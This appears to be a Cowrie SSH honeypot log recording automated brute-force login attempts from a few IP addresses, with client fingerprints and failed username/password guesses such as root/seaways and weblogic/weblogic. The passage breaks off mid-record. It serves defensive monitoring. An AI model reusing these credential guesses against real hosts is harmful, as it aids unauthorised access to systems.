{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:29.012580Z","src_ip":"193.151.144.93","session":"e9b30fd1994d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:29.548284Z","src_ip":"193.151.144.93","session":"e9b30fd1994d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:34.045121Z","src_ip":"193.151.144.93","session":"e9b30fd1994d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":41738,"dst_ip":"10.17.0.5","dst_port":22,"session":"87660cac5007","protocol":"ssh","message":"New connection: 193.151.144.93:41738 (10.17.0.5:22) [session: 87660cac5007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:34.426621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:34.431359Z","src_ip":"193.151.144.93","session":"87660cac5007","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:34.603310Z","src_ip":"193.151.144.93","session":"87660cac5007","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:35.622297Z","src_ip":"193.151.144.93","session":"87660cac5007","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:36.797356Z","src_ip":"193.151.144.93","session":"87660cac5007","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":41740,"dst_ip":"10.17.0.5","dst_port":22,"session":"82785a32f899","protocol":"ssh","message":"New connection: 193.151.144.93:41740 (10.17.0.5:22) [session: 82785a32f899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:39.933666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:39.941661Z","src_ip":"193.151.144.93","session":"82785a32f899","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:40.108361Z","src_ip":"193.151.144.93","session":"82785a32f899","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:40.612134Z","src_ip":"193.151.144.93","session":"82785a32f899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":41128,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a1754a7bc17","protocol":"ssh","message":"New connection: 103.27.238.120:41128 (10.17.0.5:22) [session: 9a1754a7bc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:42.069109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:42.073096Z","src_ip":"103.27.238.120","session":"9a1754a7bc17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":50510,"dst_ip":"10.17.0.5","dst_port":22,"session":"18cac4ec45ec","protocol":"ssh","message":"New connection: 103.27.238.116:50510 (10.17.0.5:22) [session: 18cac4ec45ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:42.094092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:42.099554Z","src_ip":"103.27.238.116","session":"18cac4ec45ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:42.204993Z","src_ip":"193.151.144.93","session":"82785a32f899","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:42.336554Z","src_ip":"103.27.238.120","session":"9a1754a7bc17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:42.378562Z","src_ip":"103.27.238.116","session":"18cac4ec45ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"seaways","message":"login attempt [root/seaways] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:43.129642Z","src_ip":"103.27.238.120","session":"9a1754a7bc17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120789","message":"login attempt [root/120789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:43.219673Z","src_ip":"103.27.238.116","session":"18cac4ec45ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:44.396715Z","src_ip":"103.27.238.120","session":"9a1754a7bc17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:44.500618Z","src_ip":"103.27.238.116","session":"18cac4ec45ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":41808,"dst_ip":"10.17.0.5","dst_port":22,"session":"aab6c34731d7","protocol":"ssh","message":"New connection: 193.151.144.93:41808 (10.17.0.5:22) [session: aab6c34731d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:45.583364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:45.588104Z","src_ip":"193.151.144.93","session":"aab6c34731d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:45.762961Z","src_ip":"193.151.144.93","session":"aab6c34731d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:46.290573Z","src_ip":"193.151.144.93","session":"aab6c34731d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:47.467309Z","src_ip":"193.151.144.93","session":"aab6c34731d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":53156,"dst_ip":"10.17.0.5","dst_port":22,"session":"202a0e4965ec","protocol":"ssh","message":"New connection: 193.151.144.93:53156 (10.17.0.5:22) [session: 202a0e4965ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:50.989697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:50.994561Z","src_ip":"193.151.144.93","session":"202a0e4965ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:51.165105Z","src_ip":"193.151.144.93","session":"202a0e4965ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:51.674765Z","src_ip":"193.151.144.93","session":"202a0e4965ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:52.848445Z","src_ip":"193.151.144.93","session":"202a0e4965ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":53162,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e6f41b90937","protocol":"ssh","message":"New connection: 193.151.144.93:53162 (10.17.0.5:22) [session: 4e6f41b90937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:56.270068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:56.275888Z","src_ip":"193.151.144.93","session":"4e6f41b90937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:56.444732Z","src_ip":"193.151.144.93","session":"4e6f41b90937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:56.948587Z","src_ip":"193.151.144.93","session":"4e6f41b90937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:59.007441Z","src_ip":"193.151.144.93","session":"4e6f41b90937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59612,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5270fa2c166","protocol":"ssh","message":"New connection: 193.151.144.93:59612 (10.17.0.5:22) [session: c5270fa2c166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:01.601999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:01.674262Z","src_ip":"193.151.144.93","session":"c5270fa2c166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 